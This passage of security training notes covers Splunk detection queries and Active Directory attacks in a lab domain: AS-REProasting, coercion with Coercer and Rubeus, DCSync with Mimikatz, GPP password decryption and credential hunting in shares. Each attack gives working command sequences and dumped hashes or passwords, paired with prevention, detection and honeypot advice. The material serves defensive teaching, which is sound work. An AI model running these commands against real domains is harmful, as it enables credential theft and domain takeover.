index="main" sourcetype="WinEventLog:Sysmon" EventCode=11 Image=System | stats count by TargetFilename
Case 3: Sysmon Event ID 18
index="main" sourcetype="WinEventLog:Sysmon" EventCode=18 Image=System | stats count by PipeName
Example: Detecting Archive File Use for Data Transfer
Attackers may use zip, rar, or 7z files for tool transfer or data exfiltration.
index="main" EventCode=11 (TargetFilename="*.zip" OR TargetFilename="*.rar" OR TargetFilename="*.7z") | stats count by ComputerName, User, TargetFilename | sort - count
Example: Detecting Payload Downloads via PowerShell or Edge
Attackers often use PowerShell or web browsers for downloads.
PowerShell Downloads
index="main" sourcetype="WinEventLog:Sysmon" EventCode=11 Image="*powershell.exe*" | stats count by Image, TargetFilename | sort + count
Edge Downloads with Zone Identifier
index="main" sourcetype="WinEventLog:Sysmon" EventCode=11 Image="*msedge.exe" TargetFilename=*"Zone.Identifier" | stats count by TargetFilename | sort + count
Example: Detecting Execution from Suspicious Locations
index="main" EventCode=1 | regex Image="C:\\\\Users\\\\.*\\\\Downloads\\\\.*" | stats count by Image
Example: Detecting Executables Created Outside Windows Directory
index="main" EventCode=11 (TargetFilename="*.exe" OR TargetFilename="*.dll") TargetFilename!="*\\windows\\*" | stats count by User, TargetFilename | sort + count
Example: Detecting Misspelled Binaries (e.g., PSEXESVC.exe)
index="main" sourcetype="WinEventLog:Sysmon" EventCode=1 (CommandLine="*psexe*.exe" NOT (CommandLine="*PSEXESVC.exe" OR CommandLine="*PsExec64.exe")) OR (ParentCommandLine="*psexe*.exe" NOT (ParentCommandLine="*PSEXESVC.exe" OR ParentCommandLine="*PsExec64.exe")) OR (ParentImage="*psexe*.exe" NOT (ParentImage="*PSEXESVC.exe" OR ParentImage="*PsExec64.exe")) OR (Image="*psexe*.exe" NOT (Image="*PSEXESVC.exe" OR Image="*PsExec64.exe")) | table Image, CommandLine, ParentImage, ParentCommandLine
Example: Detecting Non-standard Ports in Communication
index="main" EventCode=3 NOT (DestinationPort=80 OR DestinationPort=443 OR DestinationPort=22 OR DestinationPort=21) | stats count by SourceIp, DestinationIp, DestinationPort | sort - count
By employing TTP-based SPL searches, we can detect known attack patterns in our network. However, focusing only on known TTPs has limitations, as attackers often evolve their techniques to evade detection.
Conclusion
Creating detections based on known TTPs enables faster identification of familiar threats, while anomaly detection surfaces previously unknown risks. Together, these strategies provide a strong foundation for detecting malicious activity in Splunk, though continuous tuning is required to adapt to evolving attacker tactics.
Intrusion_Detection
Introduction
In this module, we expand from individual log analysis to monitoring entire networks, using Windows Event Logs across multiple machines to identify potential malicious activity. We aim to filter out false positives, crafting precise queries and alerts to proactively secure the environment.
Ingesting Data Sources
We need access to various data sources for effective threat hunting. Options include:
- BOTS: Provided by Splunk with setup instructions.
- logs.to: Generates dummy logs in JSON format. When using logs.to data, set Indexed Extractions to JSON for accurate parsing.
Query Example to Retrieve All Events:
index="main" earliest=0
This dataset will contain over 500,000 events across various sourcetypes, representing multiple infections and types of attacks.
Effective Searching Techniques
Efficient querying is crucial for threat hunting. As SIEM data grows, so does processing time. Targeted searches help minimize resource usage and reduce irrelevant data. For instance:
Generalized vs. Targeted Queries
- General Search (String Anywhere):
index="main" uniwaldo.localThis search will retrieve all occurrences of the string “uniwaldo.local” across sourcetypes.
- Wildcard Search (Anywhere in String):
index="main" *uniwaldo.local*Slower performance due to broad search scope.
- Targeted Field Search:
index="main" ComputerName="*uniwaldo.local"Faster due to specific targeting, reducing resource load.
Identifying Sysmon Events by EventCode
Using Sysmon data, we can break down activity by EventCode, helping identify patterns indicative of attacks.
Event Codes for Threat Detection:
- Event ID 1 - Process Creation (e.g., abnormal parent-child process hierarchies)
- Event ID 3 - Network Connections (noise-heavy but useful for spotting anomalies)
- Event ID 5 - Process Termination (helps detect suspicious process kills)
- Event ID 6 - Driver Loaded (useful for identifying BYOD attacks)
- Event ID 10 - Process Access (useful for memory dumps and injection detection)
- Event ID 25 - Process Tampering (e.g., process herpadering, mini AV alert filter)
Query Example - Identifying Suspicious Parent-Child Processes:
index="main" sourcetype="WinEventLog:Sysmon" EventCode=1 | stats count by ParentImage, Image
This query reveals process chains, aiding in detecting unusual executions (e.g., notepad.exe launching powershell.exe).
Advanced Threat Detection and IP Investigation
To identify connections to suspicious IP addresses, we can query IP-related events:
Query Example:
index="main" 10.0.0.229 | stats count by sourcetype
Examining specific sources, such as Sysmon and Linux syslog, helps confirm machine interactions with external IPs, potentially signaling compromise.
Targeting Credential Dumping - Sysmon Event Code 10
Query Example - Detecting Access tolsassProcess:
index="main" EventCode=10 lsass | stats count by SourceImage
This query helps identify unusual processes accessing lsass.exe, a common target for credential dumping.
Creating Effective Alerts
To develop reliable alerts, we focus on filtering noise and targeting high-fidelity indicators. For instance, by targeting API calls from UNKNOWN memory regions, we filter out common false positives.
Step-by-Step Alert Query
- Identify All
UNKNOWNCall Stacks:index="main" CallTrace="*UNKNOWN*" | stats count by EventCode - Filter Known JITs,Microsoft.Net, and WOW64 Processes:
index="main" CallTrace="*UNKNOWN*" SourceImage!="*Microsoft.NET*" CallTrace!=*ni.dll* CallTrace!=*clr.dll* CallTrace!=*wow64* | where SourceImage!=TargetImage | stats count by SourceImage - Exclude
Explorer.exeand Group Results by Call Trace:index="main" CallTrace="*UNKNOWN*" SourceImage!="*Microsoft.NET*" CallTrace!=*ni.dll* CallTrace!=*clr.dll* CallTrace!=*wow64* SourceImage!="C:\\Windows\\Explorer.EXE" | where SourceImage!=TargetImage | stats count by SourceImage, TargetImage, CallTrace
This method produces a robust alert system that distinguishes between legitimate JIT processes and potential threats.
Conclusion
Through these techniques, we’ve crafted efficient search strategies, targeted specific threat behaviors, and developed robust alerts. While simplified for this exercise, these methods apply to larger, real-world datasets. Building alerts that are hard to bypass and identifying potential improvements will strengthen security further. Remember, effective SIEM management is an evolving skill, requiring a balance of innovation, analytical skills, and vigilance.
Using_Splunk_Applications
Splunk Applications Overview
Splunk applications, or apps, are packages that extend the capabilities of Splunk Enterprise or Splunk Cloud, enabling users to manage specific types of operational data. Each app is tailored to handle data from specific technologies or use cases, acting as a pre-built knowledge package for that data. Features provided by Splunk apps include:
- Custom data inputs
- Custom visualizations
- Dashboards, alerts, reports, and more
Installing and Using the Sysmon App for Splunk
The Sysmon App for Splunk by Mike Haag helps enhance security monitoring capabilities. Here’s how to install and configure it:
- Sign Up on Splunkbase
- Create a free account on Splunkbase.
- Download the App
- Log in to Splunkbase and locate the Sysmon App for Splunk.
- Add the App to the Search Head
- Navigate to the Sysmon App page, download the application, and install it on your Splunk Search Head.
- Configure the Application
- Adjust the app’s macros to load events accurately.
- Access the Sysmon App
- Go to the “Apps” menu on the Splunk home page, select the Sysmon App, and open the File Activity tab.
- Set the Time Range
- Set the time picker to All time and click Submit.
Troubleshooting - “Top Systems” Section Not Displaying Results
- Problem: No results in the “Top Systems” section.
- Solution:
- Click on Edit in the upper right corner.
- Modify the search to replace
ComputerwithComputerName(Sysmon Event ID 11 events useComputerNameinstead ofComputer). - Click Apply to update and display results.
After these adjustments, results should populate successfully in the “Top Systems” section.
5. Windows Attacks & Defense
AS-REProasting
Description
The AS-REProasting attack is similar to Kerberoasting. Attackers can obtain crackable hashes for user accounts with the Do not require Kerberos preauthentication property enabled. The success of this attack relies on cracking the user account password.
Attack
- Extracting Crackable Hashes: Using tools like Rubeus, hashes can be extracted for each user without Kerberos preauthentication:
PS C:\\Users\\bob\\Downloads> .\\Rubeus.exe asreproast /outfile:asrep.txtThis action saves the hashes for accounts without preauthentication enabled to
asrep.txt. - Preparing the Hash for Cracking: Modify the extracted hash by adding
23$after$krb5asrep$:$krb5asrep$23$anni@eagle.local:1b912b858c4551c0013dbe81ff0f01d7$c6480335... - Cracking Hash with hashcat: Use hashcat with mode 18200, specifically for AS-REPRoastable hashes:
sudo hashcat -m 18200 -a 0 asrep.txt passwords.txt --outfile asrepcrack.txt --force - Viewing the Result: After cracking, view the result to obtain the cleartext password.
cat asrepcrack.txt
Prevention
This attack’s success largely depends on the password strength of accounts with Kerberos preauthentication disabled.
- Review and Limit Usage: Only use the “no preauthentication” setting if absolutely necessary, and conduct quarterly reviews to ensure accounts don’t inadvertently have this property.
- Strong Password Policy: Apply a separate policy requiring a minimum of 20 characters for users with this property.
Detection
When a TGT is requested, Event ID 4768 is generated. While this event is common and heavily logged, correlation to specific IPs or VLANs can help differentiate valid login attempts from potential malicious requests.
Honeypot
A honeypot user can be effective for detecting AS-REProasting attempts. Create an unused, privileged account with Kerberos preauthentication disabled. Ensure it meets these criteria:
- Old Account: Use an old account with a password that hasn’t changed in years.
- Recent Login Activity: Ensure logins occurred post-password change to avoid suspicion.
- Assigned Privileges: The account should have privileges to be of interest to attackers.
Example honeypot setup:
- User:
svc-iamwith specific privileges and preauthentication disabled.
Caution
Be strategic in setting up honeypots to avoid making the setup too obvious to attackers. Choose the best-suited detection methods for your environment.
Active_Directory_Introduction_and_Terminology
What is Active Directory?
Active Directory (AD) is Microsoft’s directory service for Windows enterprise environments, first released in 2000 with Windows Server 2000. Built on x.500 and LDAP protocols, AD supports centralized management of resources including users, computers, groups, and network devices, along with access management and group policies.
AD is widely used as the primary Identity and Access Management (IAM) solution in enterprises. A compromise of AD results in full access to all systems and data within the domain, representing a critical security risk if vulnerabilities are exploited.
Key Concepts
- Domain: A group of objects sharing the same AD database (e.g., users, devices).
- Tree: Group of one or more domains (e.g.,
test.local,staging.test.local). - Forest: Collection of multiple trees, representing the highest hierarchical level.
- Organizational Unit (OU): Containers holding user groups, computers, and other OUs.
- Trust: Relationship allowing access to resources across domains.
- Domain Controller: The highest authority in AD, managing authentication and authorization.
- Active Directory Data Store: Contains files like NTDS.DIT, storing directory information.
Core Protocols and Authentication in AD
- LDAP: Protocol for querying and modifying AD data.
- Authentication Methods:
- Username/Password: Stored/transmitted as hashes (LM, NTLM, etc.).
- Kerberos Tickets: Tokens for authenticated access using cryptographic proof of identity.
- LDAP Authentication: Via username/password or certificates.
- Key Distribution Center (KDC): The Kerberos service generating tickets.
Default Privileged Groups in AD
AD includes highly privileged groups like Domain Admins and Enterprise Admins. These groups grant broad access rights across domain-joined machines and within the forest. Mismanagement of these groups can lead to serious security risks.
Logon Types
Windows supports multiple logon types, which affect credential traces left on systems. Logon types except for Network logon (type 3) leave credentials behind.
Tools for Managing Active Directory
AD interaction is enabled by tools like Remote Server Administration Tools (RSAT) and interfaces like Active Directory Users and Computers and Group Policy Management Console.
Important Ports in AD Environments
- 53: DNS
- 88: Kerberos
- 135: WMI/RPC
- 137-139, 445: SMB
- 389, 636: LDAP
- 3389: RDP
- 5985, 5986: PowerShell Remoting (WinRM)
Real-world Implications of AD Security
Active Directory plays a pivotal role in enterprise environments, managing services like DNS, PKI, and Endpoint Configuration. If these services are compromised, an attacker could escalate privileges to control the forest. To reduce risks, organizations must classify and monitor additional services added to AD.
AD Limitations and Attack Surface
- Complexity: Example - Nested group memberships can create convoluted privilege chains.
- Design: AD’s use of Group Policy Objects (GPOs) relies on SYSVOL shared folders, accessible via SMB. With privileged credentials, attackers could remotely execute code on Domain Controllers over SMB.
- Legacy Protocols: Windows uses legacy protocols like NetBIOS and LLMNR by default, which can broadcast credentials on the network, exposing them to potential capture.
Active Directory remains central to enterprise IAM, but its complexity, design, and reliance on legacy protocols demand robust security practices, including segmentation, defense-in-depth, and continuous monitoring to prevent and detect unauthorized access.
Coercing_Attacks_&_Unconstrained Delegation
Description
Coercing attacks have emerged as a reliable way to escalate privileges from any user to Domain Administrator. In a typical Active Directory (AD) environment, nearly every setup is vulnerable to such attacks. The PrinterBug exemplifies coercion, but several other RPC functions can achieve similar results, enabling any domain user to coerce a RemoteServer$ to authenticate to any domain machine. The Coercer tool was developed to exploit multiple vulnerable RPC functions.
Impact
Once coercion is established, the attacker can select from several “follow-up” attack methods:
- Relay to another Domain Controller (DC) and perform DCSync if SMB Signing is disabled.
- Force the DC to connect to an Unconstrained Delegation (UD) machine, capturing the TGT in the UD server’s memory (tools: Rubeus, Mimikatz).
- Relay to Active Directory Certificate Services, allowing threat agents to obtain and use a DC certificate (e.g., for DCSync).
- Resource-Based Kerberos Delegation for the relayed machine, enabling attackers to authenticate as any Administrator on that machine.
Attack Methodology
For this scenario, we’ll capture a TGT on a compromised server configured for Unconstrained Delegation, using the Coercer tool.
Step-by-Step Attack Execution
- Identify Unconstrained Delegation Servers using PowerView:
Get-NetComputer -Unconstrained | select samaccountnameExample Output:
samaccountname -------------- DC1$ SERVER01$ WS001$ DC2$ - Run Rubeus on the compromised host (e.g., WS001) to monitor for new logons:
.\\Rubeus.exe monitor /interval:1Sample Output:
[*] 18/12/2022 22.37.09 UTC - Found new TGT: User : bob@EAGLE.LOCAL StartTime : 18/12/2022 23.30.09 ... - Run Coercer on the Kali machine to trigger authentication requests towards the UD machine:
Coercer -u bob -p Slavi123 -d eagle.local -l ws001.eagle.local -t dc1.eagle.localExample Output:
[>] Pipe '\\PIPE\\lsarpc' is accessible! ... [>] Pipe '\\PIPE\\spoolss' is accessible! ... [+] All done! - Capture the DC TGT on WS001 using Rubeus:
[*] 18/12/2022 22.55.52 UTC - Found new TGT: User : DC1$@EAGLE.LOCAL StartTime : 18/12/2022 23.30.21 ... - Use the TGT for Domain Authentication. One option is to load the TGT in Rubeus:
.\\Rubeus.exe ptt /ticket:doIFdDCCBXCgAwIBBa... - Perform a DCSync Attack with Mimikatz to obtain the Administrator’s hash:
.\\mimikatz.exe "lsadump::dcsync /domain:eagle.local /user:Administrator"
Prevention
Windows lacks built-in capabilities to monitor and control RPC calls to mitigate this attack. Two general prevention approaches:
- Third-Party RPC Firewall: Tools like Zero Networks’ RPC firewall can audit and block dangerous RPC functions, with an option to customize blocking for new OPNUMs.
- Restrict Outbound Traffic on Ports 139 and 445: Block these ports on Domain Controllers and other infrastructure servers except where necessary for AD functions. This can prevent not only known coercing attacks but also newly discovered vulnerabilities.
Detection
Detecting RPC activity abuse is challenging without third-party tools. Zero Networks’ RPC firewall provides comprehensive detection capabilities. Alternatively, monitoring firewall logs can help identify unusual patterns.
- Firewall Log Analysis: Successful coercing attacks result in outbound traffic to the attacker machine, often on port 445.
- Traffic Blocking Detection: Blocking outbound traffic on ports 139 and 445 prevents attackers from receiving coerced TGTs, and blocked connections serve as indicators of suspicious activity.
By monitoring for dropped traffic to ports 139 and 445, especially from critical infrastructure, unusual or unexpected traffic patterns can signal potential coercing attacks.
Note: Implementing both RPC firewalling and port restriction improves defenses against coercing attacks significantly.
Credentials_in_Object_Properties
Description
Objects in Active Directory have a plethora of different properties; for example, a user object can contain properties that contain information such as:
- Is the account active
- When does the account expire
- When was the last password change
- What is the name of the account
- Office location for the employee and phone number
When administrators create accounts, they fill in those properties. A common practice in the past was to add the user’s (or service account’s) password in the Description or Info properties, thinking that administrative rights in AD are needed to view these properties. However, every domain user can read most properties of an object (including Description and Info).
Attack
A simple PowerShell script can query the entire domain by looking for specific search terms/strings in the Description or Info fields:
Function SearchUserClearTextInformation
{
Param (
[Parameter(Mandatory=$true)]
[Array] $Terms,
[Parameter(Mandatory=$false)]
[String] $Domain
)
if ([string]::IsNullOrEmpty($Domain)) {
$dc = (Get-ADDomain).RIDMaster
} else {
$dc = (Get-ADDomain $Domain).RIDMaster
}
$list = @()
foreach ($t in $Terms)
{
$list += "(`$_.Description -like `"*$t*`")"
$list += "(`$_.Info -like `"*$t*`")"
}
Get-ADUser -Filter * -Server $dc -Properties Enabled,Description,Info,PasswordNeverExpires,PasswordLastSet |
Where { Invoke-Expression ($list -join ' -OR ') } |
Select SamAccountName,Enabled,Description,Info,PasswordNeverExpires,PasswordLastSet |
fl
}
We will run the script to hunt for the string pass, to find the password Slavi123 in the Description property of the user bonni:
PS C:\\Users\\bob\\Downloads> SearchUserClearTextInformation -Terms "pass"
SamAccountName : bonni
Enabled : True
Description : pass: Slavi123
Info :
PasswordNeverExpires : True
PasswordLastSet : 05/12/2022 15.18.05
Prevention
We have many options to prevent this attack/misconfiguration:
- Perform continuous assessments to detect the problem of storing credentials in properties of objects.
- Educate employees with high privileges to avoid storing credentials in properties of objects.
- Automate as much as possible of the user creation process to ensure that administrators don’t handle the accounts manually, reducing the risk of introducing hardcoded credentials in user objects.
Detection
Baselining users’ behavior is the best technique for detecting abuse of exposed credentials in properties of objects. Although this can be tricky for regular user accounts, triggering an alert for administrators/service accounts whose behavior can be understood and baselined is easier. Automated tools that monitor user behavior have shown increased success in detecting abnormal logons. In the example above, assuming that the provided credentials are up to date, we would expect events with event ID 4624/4625 (failed and successful logon) and 4768 (Kerberos TGT requested). Below is an example of event ID 4768:
Unfortunately, the event ID 4738 generated when a user object is modified does not show the specific property that was altered, nor does it provide the new values of properties. Therefore, we cannot use this event to detect if administrators add credentials to the properties of objects.
Honeypot
Storing credentials in properties of objects is an excellent honeypot technique for not-very-mature environments. If struggling with basic cyber hygiene, then it is more likely expected to have such issues (storing credentials in properties of objects) in an AD environment. For setting up a honeypot user, we need to ensure the followings:
- The password/credential is configured in the Description field, as it’s the easiest to pick up by any adversary.
- The provided password is fake/incorrect.
- The account is enabled and has recent login attempts.
- While we can use a regular user or a service account, service accounts are more likely to have this exposed as administrators tend to create them manually. In contrast, automated HR systems often make employee accounts (and the employees have likely changed the password already).
- The account has the last password configured 2+ years ago (makes it more believable that the password will likely work).
Because the provided password is wrong, we would primarily expect failed logon attempts; three event IDs (4625, 4771, and 4776) can indicate this. Here is how they look in our playground environment if an attacker is attempting to authenticate with the account svc-iis and a wrong password:
- 4625: An account failed to log on
- 4771: Kerberos pre-authentication failed
- 4776: ## The computer attempted to validate the credentials for an account
- Generated for both successful and failed credential validations
Credentials_in_Shares
Description
Credentials exposed in network shares are (probably) the most encountered misconfiguration in Active Directory to date. Any medium/large enterprises will undoubtedly have exposed credentials, although it may also happen in small businesses. It almost feels like we are moving from “Don’t leave your password on a post-it note on your screen” to “Don’t leave unencrypted credentials and authorization tokens scattered everywhere”.
We often find credentials in network shares within scripts and configuration files (batch, cmd, PowerShell, conf, ini, and config). In contrast, credentials on a user’s local machine primarily reside in text files, Excel sheets, or Word documents. The main difference between the storage of credentials on shares and machines is that the former poses a significantly higher risk, as it may be accessible by every user. A network share may be accessible by every user for four main reasons:
- One admin user initially creates the shares with properly locked down access but ultimately opens it to everyone. Another admin of the server could also be the culprit. Nonetheless, the share eventually becomes open to Everyone or Users, and recall that a server’s Users group contains Domain users as its member in Active Directory environments. Therefore every domain user will have at least read access (it is wrongly assumed that adding ‘Users’ will give access to only those local to the server or Adm…
- The administrator adding scripts with credentials to a share is unaware it is a shared folder. Many admins test their scripts in a scripts folder in the C:\ drive; however, if the folder is shared (for example, with Users), then the data within the scripts is also exposed on the network.
- Another example is purposely creating an open share to move data to a server (for example, an application or some other files) and forgetting to close it later.
- Finally, in the case of hidden shares (folders whose name ends with a dollar sign ),thereisamisconceptionthatuserscannotfindthefolderunlesstheyknowwhereitexists;themisunderstandingcomesfromthefactthatExplorerinWindowsdoesnotdisplayfilesorfolderswhosenameendwitha, however, any other tool will show it.
Attack
The first step is identifying what shares exist in a domain. There are plenty of tools available that can achieve this, such as PowerView’s Invoke-ShareFinder. This function allows specifying that default shares should be filtered out (such as c$ and IPC$) and also check if the invoking user has access to the rest of the shares it finds. The final output contains a list of non-default shares that the current user account has at least read access to:
PS C:\\Users\\bob\\Downloads> Invoke-ShareFinder -domain eagle.local -ExcludeStandard -CheckShareAccess
Example Output:
\\\\DC2.eagle.local\\NETLOGON - Logon server share
\\\\DC2.eagle.local\\SYSVOL - Logon server share
\\\\WS001.eagle.local\\Share -
\\\\WS001.eagle.local\\Users -
\\\\Server01.eagle.local\\dev$ -
\\\\DC1.eagle.local\\NETLOGON - Logon server share
\\\\DC1.eagle.local\\SYSVOL - Logon server share
A few automated tools exist, such as SauronEye, which can parse a collection of files and pick up matching words. However, because there are few shares in the playground, we will take a more manual approach (Living Off the Land) and use the built-in command findstr for this attack.
Arguments:
/sforces to search the current directory and all subdirectories/iignores case in the search term/mshows only the filename for a file that matches the term
Example Commands:
PS Microsoft.PowerShell.Core\\FileSystem::\\\\Server01.eagle.local\\dev$> findstr /m /s /i "pass" *.bat
Prevention
The best practice to prevent these attacks is to lock down every share in the domain so there are no loose permissions. Regular scans (e.g., weekly) on AD environments to identify any new open shares or credentials exposed in older ones are necessary.
Detection
Understanding and analyzing users’ behavior is the best detection technique for abusing discovered credentials in shares. Event IDs to monitor include:
- 4624 for successful logon
- 4768 for Kerberos TGT requests
Honeypot
A honeypot user in AD environments: a semi-privileged username with a wrong password. Below is a good setup for the account:
- A service account created 2+ years ago, with the last password change at least one year ago.
- The account is still active in the environment.
Because the provided password is wrong, we would primarily expect failed logon attempts.
Example Event IDs:
- 4625 for failed logon
- 4771 for failed Kerberos pre-authentication
- 4776 for failed NTLM authentication
DCSync
Description
DCSync is an attack that threat agents utilize to impersonate a Domain Controller and perform replication with a targeted Domain Controller to extract password hashes from Active Directory. The attack can be performed both from the perspective of a user account or a computer, as long as they have the necessary permissions assigned, which are:
- Replicating Directory Changes
- Replicating Directory Changes All
Attack
We will utilize the user Rocky (whose password is Slavi123) to showcase the DCSync attack. When we check the permissions for Rocky, we see that he has Replicating Directory Changes and Replicating Directory Changes All assigned:
Step 1: Start Command Shell as Rocky
C:\\Users\\bob\\Downloads>runas /user:eagle\\rocky cmd.exe
Enter the password for eagle\\rocky:
Attempting to start cmd.exe as user "eagle\\rocky"
Step 2: Use Mimikatz to Perform DCSync
To execute DCSync, we use Mimikatz. This example targets the user ‘Administrator’:
C:\\Mimikatz>mimikatz.exe
mimikatz # lsadump::dcsync /domain:eagle.local /user:Administrator
[DC] 'eagle.local' will be the domain
[DC] 'DC2.eagle.local' will be the DC server
[DC] 'Administrator' will be the user account
[rpc] Service : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
Object RDN : Administrator
** SAM ACCOUNT **
SAM Username : Administrator
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration :
Password last change : 07/08/2022 11.24.13
Object Security ID : S-1-5-21-1518138621-4282902758-752445584-500
Object Relative ID : 500
Credentials:
Hash NTLM: fcdc65703dd2b0bd789977f1f3eeaecf
Alternatively, we can use the /all parameter to dump the hashes of the entire AD environment.
Prevention
Since DCSync replicates common operations in Active Directory, complete prevention is not achievable directly. However, using third-party solutions like RPC Firewall can restrict replication permissions to trusted Domain Controllers only, allowing replication only for essential accounts.
Detection
Detecting DCSync is possible by monitoring for event ID 4662, as each replication attempt logs this event. To reduce false positives, ensure:
- The event properties
1131f6aa-9c07-11d1-f79f-00c04fc2dcd2or1131f6ad-9c07-11d1-f79f-00c04fc2dcd2are present. - Whitelist systems/accounts that need replication, such as Azure AD Connect.
Example Event
When Mimikatz is used for DCSync, the following event may be generated:
- Event ID: 4662
- Details: Shows a user account initiating replication, which can serve as an alert to unauthorized DCSync attempts.
GPO_Permissions_GPO_Files
Description
A Group Policy Object (GPO) is a virtual collection of policy settings that has a unique name. GPOs are widely used in Active Directory (AD) for configuration management. Each GPO contains policy settings linked to an Organizational Unit (OU) in AD to apply settings to objects within that OU or any child OU. GPOs can be restricted to specific objects or filtered, for example, by specifying an AD group or using a WMI filter.
When a new GPO is created, only Domain admins (and similar privileged roles) can modify it. However, different delegations within environments may allow less privileged accounts to perform edits on GPOs. Some organizations have GPOs that allow modifications by ‘Authenticated Users’ or ‘Domain Users,’ which means any compromised user account may allow attackers to alter these GPOs. Such modifications may include adding start-up scripts or scheduled tasks to execute a file, enabling adversaries to compromise computer objects in the OUs linked to the vulnerable GPOs.
Similarly, administrators may install software or configure start-up scripts through GPOs that rely on files located on network shares. If these shares are misconfigured, attackers may replace files with malicious versions. Even if the GPO permissions are intact, the attack can be executed through misconfigured NTFS permissions on deployed files.
Attack
To abuse GPO permissions, an attacker can directly edit a GPO or replace a file in a network share used by the GPO.
Prevention
- Lockdown GPO permissions: Limit modification rights to a small group of trusted users or a specific account to prevent unauthorized GPO edits.
- Review GPO permissions: Regularly review and automate hourly checks on GPO permissions to ensure no deviations from expected configurations.
- Secure network shares: Avoid using files from network shares that can be modified by multiple users to prevent file replacement attacks.
Detection
- Event ID 5136: This event ID logs GPO modifications if Directory Service Changes auditing is enabled. Detecting unexpected modifications to GPOs, especially by users without expected permissions, should raise an alert.
Honeypot
Using a misconfigured GPO or file as a honeypot can be a strategy for detecting unauthorized modifications. However, it’s recommended only for mature environments capable of responding quickly to vulnerabilities. Consider the following guidelines for honeypot GPOs:
- Link the GPO only to non-critical servers.
- Monitor modifications continuously with automation in place.
- Unlink or disable the GPO if a modification is detected.
Example PowerShell Script for GPO Modification Detection
This PowerShell script demonstrates automation for detecting and disabling accounts that modify a specified honeypot GPO. The honeypot GPO is identified by a GUID value, and the script disables any account associated with modifications detected every 15 minutes.
# Define filter for the last 15 minutes
$TimeSpan = (Get-Date) - (New-TimeSpan -Minutes 15)
# Search for event ID 5136 (GPO modified) in the past 15 minutes
$Logs = Get-WinEvent -FilterHashtable @{LogName='Security';id=5136;StartTime=$TimeSpan} -ErrorAction SilentlyContinue |`
Where-Object {$_.Properties[8].Value -match "CN={73C66DBB-81DA-44D8-BDEF-20BA2C27056D},CN=POLICIES,CN=SYSTEM,DC=EAGLE,DC=LOCAL"}
if($Logs){
$emailBody = "Honeypot GPO '73C66DBB-81DA-44D8-BDEF-20BA2C27056D' was modified`r`n"
$disabledUsers = @()
ForEach($log in $logs){
If(((Get-ADUser -identity $log.Properties[3].Value).Enabled -eq $true) -and ($log.Properties[3].Value -notin $disabledUsers)){
Disable-ADAccount -Identity $log.Properties[3].Value
$emailBody = $emailBody + "Disabled user " + $log.Properties[3].Value + "`r`n"
$disabledUsers += $log.Properties[3].Value
}
}
# Send an alert via email - complete the command below
# Send-MailMessage
$emailBody
}
If the honeypot GPO is modified, the script outputs the following, or sends an email alert if configured:
Honeypot GPO '73C66DBB-81DA-44D8-BDEF-20BA2C27056D' was modified
Disabled user bob
After disabling, Event ID 4725 logs the account disabling action.
GPP_Passwords
Description
SYSVOL is a network share on all Domain Controllers, containing logon scripts, group policy data, and other required domain-wide data. Active Directory stores all group policies in \\\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\. With the release of Windows Server 2008, Group Policy Preferences (GPP) introduced the ability to store and use credentials in several scenarios. Active Directory stores these in the policies directory in SYSVOL.
During engagements, we might encounter scheduled tasks and scripts executed under a specific user, containing the username and an encrypted version of the password in XML policy files. The encryption key that Active Directory uses to encrypt these XML files was released publicly, allowing anyone to decrypt credentials in the policy files. Since SYSVOL is accessible to all Authenticated Users in the domain, anyone with access can decrypt the credentials.
Microsoft published the AES private key on MSDN. Here’s an example of an XML file containing an encrypted password, where the property is named cpassword.
Attack
To abuse GPP Passwords, we use the Get-GPPPassword function from PowerSploit, which parses XML files in SYSVOL’s Policies folder, finds those with the cpassword property, and decrypts them:
PS C:\\Users\\bob\\Downloads> Import-Module .\\Get-GPPPassword.ps1
PS C:\\Users\\bob\\Downloads> Get-GPPPassword
UserName : svc-iis
NewName : [BLANK]
Password : abcd@123
Changed : [BLANK]
File : \\\\EAGLE.LOCAL\\SYSVOL\\eagle.local\\Policies\\{73C66DBB-81DA-44D8-BDEF-20BA2C27056D}\\Machine\\Preferences\\Groups\\Groups.xml
NodeName : Groups
Cpassword : qRI/NPQtItGsMjwMkhF7ZDvK6n9KlOhBZ/XShO2IZ80
Prevention
Once the encryption key was made public and began being exploited, Microsoft released KB2962486 in 2014 to prevent caching credentials in GPP. However, the patch does not clear existing credentials, only prevents the caching of new ones.
- Environments created pre-2014 may still have cached credentials.
- Regularly assess and review the environment to ensure no credentials are exposed.
Detection
There are two main detection techniques for this attack:
- Auditing File Access to XML with Credentials:
- Monitoring access to these XML files is a good indicator of malicious intent if no legitimate reason exists for accessing these files.
- Generate an event when a user reads the file by enabling auditing.
- Each access will generate Event ID 4663.
- Logon Attempts with Exposed Credentials:
Successful logons, especially from unexpected locations, can be correlated with known usage locations of service accounts.
- Logon attempts (successful or failed) with the exposed service account credentials can trigger events:
- Event ID 4624 (successful logon)
- Event ID 4625 (failed logon)
- Event ID 4768 (TGT requested).
Honeypot
Setting up a trap account is a good detection strategy:
- Use a service account with an incorrect password as a honeypot.
- Ensure the honeypot has properties that make it appear legitimate:
- The password is old.
- Last password change predates the modification of the GPP XML file.
- The account simulates logon activity (via a dummy task).
If any failed or successful logon attempts with this account occur (outside of the dummy task), it may indicate malicious activity.
Relevant Event IDs for Failed Logons with Honeypot
- 4625 - Failed logon.
- 4771 - Kerberos pre-authentication failure.
- 4776 - NTLM authentication failure.
By leveraging honeypot accounts, you can detect potential attacks while minimizing the risk of false positives.
Golden Ticket
Description
The Kerberos Golden Ticket is an attack in which threat agents can create or generate tickets for any user in the Domain, effectively acting as a Domain Controller.
When a Domain is created, the unique user account krbtgt is created by default; krbtgt is a disabled account that cannot be deleted, renamed, or enabled. The Domain Controller’s KDC service will use the password of krbtgt to derive a key with which it signs all Kerberos tickets. This password’s hash is the most trusted object in the entire Domain because it guarantees that the Domain issued Kerberos tickets.
Any user possessing the password’s hash of krbtgt can create valid Kerberos TGTs. Because krbtgt signs them, forged TGTs are considered valid tickets within an environment. Previously, it was even possible to create TGTs for inexistent users and assign any privileges to their accounts. The Golden Ticket attack allows us to escalate rights from any child domain to the parent in the same forest, enabling persistence and control over the domain.
This attack provides elevated persistence in the domain and occurs after an adversary has gained Domain Admin (or similar) privileges.
Attack
To perform the Golden Ticket attack, use Mimikatz with the following arguments:
/domain: The domain’s name./sid: The domain’s SID value./rc4: The password’s hash ofkrbtgt./user: The username for which Mimikatz will issue the ticket./id: Relative ID (last part of SID) for the user for whom Mimikatz will issue the ticket.
